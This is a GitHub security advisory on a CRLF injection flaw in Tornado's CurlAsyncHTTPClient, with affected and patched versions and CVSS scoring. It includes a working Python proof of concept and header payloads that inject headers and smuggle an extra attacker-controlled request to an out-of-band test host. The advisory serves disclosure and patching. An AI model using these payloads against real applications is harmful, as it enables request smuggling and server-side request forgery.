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Tornado has a CRLF injection in CurlAsyncHTTPClient headers

Moderate severity GitHub Reviewed Published Jun 6, 2024 in tornadoweb/tornado • Updated Jun 7, 2024

Package

pip tornado (pip)

Affected versions

<= 6.4.0

Patched versions

6.4.1

Description

Summary

Tornado’s curl_httpclient.CurlAsyncHTTPClient class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.

Details

When an HTTP request is sent using CurlAsyncHTTPClient, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using CurlAsyncHTTPClient, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.

This behavior differs from that of the standard AsyncHTTPClient class, which does reject CRLF characters.

This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the HTTPHEADER option. libcurl’s documentation states:

The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.

pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by CurlAsyncHTTPClient, including any control characters that have special meaning in HTTP semantics.

PoC

The issue can be reproduced using the following script:

import asyncio

from tornado import httpclient
from tornado import curl_httpclient

async def main():
    http_client = curl_httpclient.CurlAsyncHTTPClient()

    request = httpclient.HTTPRequest(
        # Burp Collaborator payload
        "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
        method="POST",
        body="body",
        # Injected header using CRLF characters
        headers={"Foo": "Bar\r\nHeader: Injected"}
    )

    response = await http_client.fetch(request)
    print(response.body)

    http_client.close()

if __name__ == "__main__":
    asyncio.run(main())

When the specified server receives the request, it contains the injected header (Header: Injected) on its own line:

POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of \r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com results in the server receiving an additional, attacker-controlled request:

POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

Impact

Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.

References

@bdarnell bdarnell published to tornadoweb/tornado Jun 6, 2024
Published to the GitHub Advisory Database Jun 6, 2024
Reviewed Jun 6, 2024
Last updated Jun 7, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-w235-7p84-xx57

Source code

Credits

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